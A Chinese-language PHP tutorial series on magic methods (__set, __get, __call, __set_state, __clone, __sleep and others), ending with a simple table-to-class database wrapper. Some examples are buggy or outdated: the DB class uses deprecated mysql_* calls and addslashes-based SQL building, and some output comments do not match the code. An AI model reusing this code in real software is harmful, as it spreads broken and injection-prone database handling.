这样明白了吧?__unset()是一样的,这两个函数其实也有大作用,比如你做一个网游(我只是比喻,现实不是这样的),有个怪物类中有个属性是怪物的 血,你不能想unset()就unset(),也就是说你不能等怪物的血没完了就使他死了。我还用例子说明。这个例子我自认为相当的好,自恋一下:)把上 面的内容都囊括了,希望你可以好好执行下,分析下,为什么会出这样的结果。
[php]
class Monster {
/**
* 怪物的属性表
*
* @var array
*/
private $state = array('hp' => 100, 'mp' => 100);
/**
* 打击怪物
*
* @access public
* @return void
*
*/
public function hit() {
$this->state['hp'] = $this->state['hp'] - rand(1, 10);
}
/**
* 设置怪物属性
*
* @param string $key
* @param integer $value
* @access public
* @return void
*/
public function __set($key, $value) {
if (isset($this->state[$key])) {
$this->state[$key] = $this->validate($value);
} else {
echo '没有此属性!';
}
}
/**
* 获得怪物属性
*
* @param string $key
* @access public
* @return integer
*/
public function __get($key) {
if (isset($this->state[$key])) {
return $this->state[$key];
} else {
echo '没有此属性!';
}
}
/**
* 验证设定怪物的血是否合法
*
* @param integer $value
* @access private
* @return void
*/
private function validate($value){
if (is_int($value) && $value > 0) {
return $value;
} else {
return 0;
}
}
/**
* 查看是否存在怪物的状态
*
* @param string $key
* @return boolean
*/
public function __isset($key) {
return isset($this->state[$key]);
}
/**
* 查看怪物的属性是否为0
*
* @param string $key
* @access public
* @return void
*/
public function __unset($key) {
if ($this->state[$key] > 0) {
echo '你没权利宰了我!';
} else {
unset($this->state[$key]);
echo '我死了!';
}
}
}
$monster = new Monster();
$monster->__set('hp', 100); //设定怪物的血和蓝
$monster->__set('mp', 100);
$monster->__set('血', 200); //输出 没有此属性!
while (isset($monster->hp)) { //当怪物还存在的时候
$monster->hit(); //开始打怪
unset($monster->hp); //消灭怪物
echo $monster->__get('hp'); //输出怪物剩余血量 当怪物死后输出 没有此属性!
}
[/php]
写网游一直是儿时的梦想,但是现在比较现实了,根本不可能,所以我就在这里写个虚假的类来YY下吧,大家不要BS我:)
好了,今天的笔记到此为止,明天我们将要学习 __call() 。构造函数和析构函数我不准备说了,思想不是PHP里特有的,看些OOP的教程都有讲。
明天要毕业答辩,不知道笔记会不会按时发布,请期待。
昨天答辩实在曲折,到现在还没有开始,废话不说了,感觉继续奉上教程笔记。
今天我们要说的是__call() 和其他一些不常用的模式方法,我也许只会点到一下,如果你想搞的非常透彻还需要自己下功夫。
__call() 是个非常重要的魔术方法,可以说非常非常的重要。至于为什么,相信你学习完今天的笔记就会明白了。
当我们实例化一个类的对象后,调用类中的一个方法,比如$test->fun();。系统就会从这个类中去找fun()这个方法,如果找到了就去执行它,如果没有找到就去调用 __call()。
我们来看下例子:
[php]
class Test {
public function __call($fun, $args) { //第一次参数是方法名,第二个参数是传过来的参数,是以数组的方式传过来的。
echo "你在调用".$fun."方法";
print_r($args);
}
}
$test = new Test();
$test->fun("a","b"); //调用一个不存在的方法 参数是a和b .
//输出 你在调用test方法Array ( [0] => a [1] => b )
[/php]
从上面的例子,我们可以清晰的分析出__call()方法的执行过程。但是我们想,如果类中存在一个同名的private方法,PHP会如何处理呢?我们来看下面的例子。
[php]
class Test {
public function __call($fun, $args) {
echo "你在调用".$fun."方法";
print_r($args);
}
private function fun($a, $b) {
echo "你再调用类中的private方法";
}
}
$test = new Test();
$test->fun("a","b"); //调用类中存在的private方法
//输出 Fatal error: Call to private method Test::fun() from context '' in PHPDocument3 on line 14
[/php]
结果输出了错误,看来这种时候,魔术方法也不起作用。系统直接报错了。
现在我们再来想,如果调用本类中不存在的方法,而父类中存在的方法,是先调用本类的__call()呢还是先调用父类中存在的方法呢?我们继续来做实验。
[php]
class Test {
public function __call($fun, $args) {
echo "你在调用父类的".$fun."方法";
print_r($args);
}
public function fun() {
echo "你在调用父类的test方法";
}
}
class Test2 extends Test {
public function __call($fun, $args) {
echo "你在调用子类的".$fun."方法";
print_r($args);
}
}
$test2 = new Test2();
$test2->fun("a","b"); //调用父类存在的方法 输出 你在调用父类的test方法
$test2->abc(); //调用都不存在的方法 输出 你在调用子类的abc方法Array ( )
[/php]
结果,我们可到这样的现象,子类跳过了__call()而直接寻找父类中的方法,如果调用一个都不存在的方法,就调用本类的__call()方法,这个是由于子类的__call()把父类的__call()给覆盖了。
所以我们就可以得出这样的结论,在PHP中,系统对__call()方法的调用顺序是这样的:
当我们实例化一个类的对象后,调用类中的一个方法,比如$test->fun();。系统就会从这个类中去找fun()这个方法,如果存在就调用 之,如果不存在就去父类中找这个方法,如果父类中也不存在就去找本类的__call()方法,如果本类中不存在__call()方法就去找父类中的方法, 以此类推。当然这个是在调用权限允许的范围内的。
下面说我为什么说__call()重要。
我们都知道,在PHP5中并没有真正的支持重载。但是我们可以想办法去实现它,借助的工具就是__call()。我们来看例子。
[php]
class Test {
public function __call($fun, $argps) {
if (method_exists($this, $fun.count($argps))) {
return call_user_func_array(array(&$this, $fun.count($argps)), $argps);
} else {
throw new Exception('调用了未知方法:'.get_class($this).'->'.$fun); //不存在的方法
}
}
//一个参数的方法
public function fun1($a) {
echo "你在调用一个参数的方法,参数为:".$a;
}
//两个参数的方法
public function fun2($a, $b) {
echo "你在调用两个参数的方法,参数为:".$a."和".$b;
}
}
$test = new Test();
$test->fun("a"); //输出 你在调用一个参数的方法,参数为:a
$test->fun("a","b"); //输出 你在调用两个参数的方法,参数为:a和b
$test->fun("a","b","c"); //输出 Fatal error: Uncaught exception 'Exception' with message '调用了未知方法:Test->fun'
[/php]
这样我们基本就可以完成了重载了。
另外提下下面不常用的两个魔术方法。
第一个是__toString() 。这个著名的方法在Java中是非常常见的,但是到PHP这里我基本没见多少人用过了。原因是这样的,我们看下例子:
[php]
class Test {
public $a;
public function fun(){
echo "我只是一个方法而已.";
}
}
$test = new Test();
echo $test; //输出错误 Catchable fatal error: Object of class Test could not be converted to string
[/php]
如果我们想打印出一个对象,就需要调用__toString()这个魔术方法了,我们给他加上一个__toString()就不会出错了。
[php]
class Test {
public $a;
public function fun(){
echo "我只是一个方法而已.";
}
public function __toString() {
return "你在打印一个对象"; //这个方法必须返回一个字符串
}
}
$test = new Test();
echo $test; //输出 你在打印一个对象
[/php]
这个比较简单,我不多说了,还有一个方法,在Google搜索都搜不到几个有价值的东西,可见其少用的程度,汗一下。这个魔术方法就是:__set_state();
这个方法其实也比较简单,就是var_export()的回调函数。我们来看下例子。
[php]
class Test {
public $a;
public function fun(){
echo "我只是一个方法而已.";
}
}
$test = new Test();
var_export($test); //输出 Test::__set_state(array( 'a' => NULL, ))
[/php]
注意a是NULL,没有赋值,下面我写个回调
[php]
class Test {
public $a;
static function __set_state($array) { //必须为静态方法.参数是个数组
$tmp = new Test();
$tmp->a = "abc"; //我直接赋值,
return $tmp; //必须返回一个对象.可以是其他类的对象
}
}
$test = new Test();
eval( '$b = ' . var_export($test, true). ';' );
var_dump($b); //得到的$b就是Test的一个对象.并且a="abc"
[/php]
有人问这有什么用?是没多大用,最大的作用可以复制一个对象。只需改下代码而已。
[php]
class Test {
public $a;
static function __set_state($array) { //必须为静态方法.参数是个数组
$tmp = new Test();
$tmp->a = $array['a'];
return $tmp; //必须返回一个对象.可以是其他类的对象
}
}
$test = new Test();
$test->a = "我是$test";
eval( '$b = ' . var_export($test, true). ';' );
var_dump($b); //得到的$b就是$test的复制.并且a="abc"
[/php]
有人又会问了,克隆可以直接clone()方法啊!!那么好,这样的情况请问你如何克隆,我们来看下代码:
[php]
class Test {
public $a;
static function __set_state($array) { //必须为静态方法.参数是个数组
$tmp = new Test();
$tmp->a = str_replace('$test','$b',$array['a']); //!important
return $tmp; //必须返回一个对象.可以是其他类的对象
}
}
$test = new Test();
$test->a = '我是$test';
eval( '$b = ' . var_export($test, true). ';' );
var_dump($b); //得到的$b就是$test的复制.但是b做相应的改变b='我是$b'
[/php]
这样的话,我们虽然克隆了一个$test,但是我们又做了相应的改变。请允许我称为这种方法为“进化”。进化就是在克隆的基础上做一些自己相应的改变。
有的人问,你为什么不用__clone进行回调呢?这正是我想说的地方,个人认为__clone() 没有 __set_state()强大,因为__clone()没有可以接受的参数,局限了“进化”的范围,我用个例子说明。
[php]
class Test {
public $a;
function __clone(){
$this->a = str_replace("a","克隆a",$this->a); //无法通过参数改变a,但是我们还是可以想办法的:)
}
}
$test = new Test();
$test->a = '我是a';
$b = clone $test;
var_dump($b); //得到的$b就是$test的复制.并且a='我是克隆a'
[/php]
真累啊,基本方法都提到了,但是我只是带大家入门,更多更深的内容还需要大家自己挖掘。有些地方我还没有提到,所以大家要学会去主动学习。
另外,顺便提下,这些魔术方法都必须被定义为public方式的。因为你要在所有的地方都得调用它们。
好了。这个还没完,下此会有更神奇的东西,改变你对PHP的看法,请关注。
<?php
class Test {
private $mySecret; //我的秘密不想让人知道
public function __construct($secret) {
$this->mySecret = $secret;
}
public function __sleep() {
$this->mySecret = "这是个秘密!"; // 外部不可见.必须调用成员方法输出值.
echo '不让你知道';
}
public function __wakeup() {
}
public function get(){
return $this->mySecret;
}
}
$obj = new Test('i like php !');
echo $obj->get();
echo '<br />';
serialize($obj); // __sleep()
echo $obj->get();
echo '<br />';
unserialize($obj); // __wakeup()
echo $obj->get();
$obj = new Test('php');
echo $obj->get();
?>
[/php]
看到很多人看完上面的笔记还是有很多人不明白,不清楚,或者说有疑问的地发。不要着急,我今天绝对打消您的疑问。您瞧好吧。
今天我们利用前几天学习的知识,学习如何写一个动态类,其实是就是一个具有柔韧性的类。
什么是一个具有柔韧性的类?其实我也说不清楚,有的人更愿意称之为可以弯曲的类,因为这个类可以随你的意愿进行有特点的伸展。
我们上次提到了__set()这个魔术方法,又提到了,其实魔术方法之所以称之为魔术方法是由于我们不用主动去触发这个方法它就会自动的运行。
有的人会问了,在学习__set()的时候,我们是主动去调用它的啊。跟别的,比如__isset()方法有些不一样。其实在真正的运用中,__set()的使用方法不是上面那样的,请允许我为这篇文章埋下一个伏笔。今天我们就来学习__set()的最神奇的地方。
一个柔韧性的类的一个重要的特征应该就是属性具有柔韧度。如何制作一个具有伸缩属性的类?看下面的例子。
[php]
class Test {
private $array; //PHP数组就是具有伸缩性的这个特性
public function __set($key, $value) { //__set()魔术方法,设置$array的值。
$this->array[$key] = $value;
}
public function get() {
print_r($this->array);
}
}
$test = new Test();
$test->a = 'a'; //这样系统就会自动调用__set()这个魔术方法
$test->b = 'b'; //这样下去,我们就可以设置无数个属性。
$test->c = 'c'; //你还可以设置$test->d 。没有人拦着你,谁拦你我拦他!
$test->get(); //输出 Array ( [a] => a => b [c] => c )
[/php]
这只是个简单的例子,如果你要限制一些属性,该如何设置呢?还记得前面的课程吗?
[php]
class Test {
private $array;
public function __construct() { //在构造函数中我们可以设置一些属性。
$this->array['a'] = null;
$this->array['b'] = null;
}
public function __set($key, $value) { //__set()魔术方法,进行一下简单的判断就OK
if (array_key_exists($key, $this->array)) {
$this->array[$key] = $value;
} else {
throw new Exception("没有此属性");
}
}
public function get() {
print_r($this->array);
}
}
$test = new Test();
$test->a = 'a';
$test->b = 'b';
$test->c = 'c'; //当程序执行到这步的时候就会抛出异常。
$test->get();
[/php]
有人肯定又会说了,我靠。你耍我们玩啊,一会说要写个可以伸缩的类,然后又说要做限制,你怎么回事啊?
莫急莫急,我这就跟您慢慢解释。要写个具有伸缩性的类,上面我说了最简单的例子了,大家应该都明白了。
但是在实际的程序中,我们并不需要这样伸缩性的类,因为这样的类会变得不安全,未知因素也很多。这不是我们设计程序的初衷。
但是,在实际的运用中,我们又需要根据实际情况来设定一些变化的因素。这样就会有了矛盾了,既要伸缩性,但是在某种程度上又不允许程序具有伸缩性。
这是个非常棘手的问题,虽然我们绕弯避免。最简单的解决办法就是多申请几个属性,想用就用。但是我们既然学了魔术方法,就要使用魔术方法来做点事情。值得 注意的是,构造函数在PHP里也算是一个魔术方法。所以我们来写个要伸就伸,要缩就缩的类来。这种类的用处非常大,等下你就知道了。
[php]
class TestA {
private $array = array();
public function __construct($array) { //在父类中创建一个具有伸缩性的构造方法
foreach( $array as $key )
$this->array[ $key ] = null;
}
public function __set($key, $value) { //__set()魔术方法,进行一下简单的判断就OK
if (array_key_exists($key, $this->array)) {
$this->array[$key] = $value;
} else {
throw new Exception("没有此属性");
}
}
public function get() {
print_r($this->array);
}
}
class TestB extends TestA {
public function __construct($array) { //只要重写构造函数就可以申请自己的属性值.
parent::__construct($array); //调用父类的构造方法
}
}
$test1 = new TestB(array('a', 'b')); //想要几个属性就要几个属性
$test1->a = 'a';
$test1->b = 'b';
$test1->get(); //输出 Array ( [a] => a => b )
$test2 = new TestB(array('a', 'b', 'c')); //想要几个属性就要几个属性
$test2->a = 'a';
$test2->b = 'b';
$test2->c = 'c';
$test2->get(); //输出 Array ( [a] => a => b [c] => c )
[/php]
这下明白了吧?我们是通过继承来实现这种中性的伸缩的。这就叫伸缩自如。哈哈。
如果你体会到了其中的好处,你会发现,PHP的类在这方面会比Java要强大的多。我们下面试图用这种思路来写一个简单的数据库类。
[php]
class DB {
public function connect($dbhost, $dbuser, $dbpwd, $dbname = '', $charset = 'utf8') {
mysql_connect ( $dbhost, $dbuser, $dbpwd );
mysql_query ( "SET NAMES '$charset'" );
mysql_select_db ( $dbname );
}
public function insert($sql) { //插入数据
if (! ($query = mysql_query ( $sql ))) {
return -1;
}
return mysql_insert_id();
}
}
[/php]
上面这是个最基础的类,我写的很垃圾,你可以再修改,但是我们现在最重要的是让他可以具有伸缩性。所以我这样修改。
[php]
class DB {
private $table = ''; //定义表
private $field = array(); //表里面的字段
public function __construct($table, $field) { //在父类中创建一个具有伸缩性的构造方法
$this->table = $table;
foreach( $field as $key ) {
$this->$field[ $key ] = null;
}
}
public function connect($dbhost, $dbuser, $dbpwd, $dbname = '', $charset = 'utf8') {
mysql_connect ( $dbhost, $dbuser, $dbpwd );
mysql_query ( "SET NAMES '$charset'" );
mysql_select_db ( $dbname );
}
public function insert() { //插入一个数据
$fieldName = join(", ", array_keys($this->field)); //获得字段名
array_walk($this->field, array(&$this, 'filter')); //过滤字段的值.可以看下下面的回调函数
$fieldValue = join(", ", $this->field); //转换成**,**,**这种形式
$sql = "INSERT INTO %s(%s) VALUES(%s)";
$sql = sprintf($sql, $this->table, $fieldName, $fieldValue);
if (!(mysql_query ( $sql ))) {
return -1;
}
return mysql_insert_id();
}
public function filter(&$value) { //过滤字段的值
if (!is_numeric($value)) { //如果是数字就不管.如果是其他类型必须加入''才可以正常插入到数据库中
$value = "'".addslashes($value)."'";
}
}
}
[/php]
你看完后,肯定会说,好麻烦啊,你为什么把一个简单的插入数据搞得这么复杂啊。你傻吧你!
很客观的告诉你,我不傻,这么做是有好处的。如果我写了一个这样类,那么面向用户是非常好的,扩展性非常好,并且容易操作。我们来看下,当你把我这个类当做父类后,看下你的操作是多么的简单。
[php]
class TableA extends DB {
public function __construct() { //只要重写构造函数就可以申请自己的属性值.
parent::__construct('tablea',array('id', 'key', 'value')); //调用父类的构造方法
}
}
$tablea = new TableA();
$tablea->id = 123;
$tablea->key = '我是key';
$tablea->value = '我是value';
$tablea->insert();
[/php]
看到了吧?我们几乎可以使MySqL变成一个对象型的数据库,因为我们可以给每个表都写个类,一个类对应一个表,执行操作的时候不用写SQL语句,非常简单,不容易出错,这不是传说中大名鼎鼎的Hibernate吗?
说Hibernate有点言过其实了,主要是我们改变了PHP与MySql的一般操作方式。但是这样的问题就在于父类不好写,比较麻烦。对于一般的新手还是非常困难的,所以希望个大牛能写出个通用的父类来,感激不尽啊。
好了,拖了这么长时间,笔记终于算写完了,但是PHP中魔术方法的内容远远没有这么少,所以要学习还得靠自己。我以后还会不断的出类似这样的教程笔记,希望大家关注,谢谢,再次感谢您能看完我这么多字的胡扯。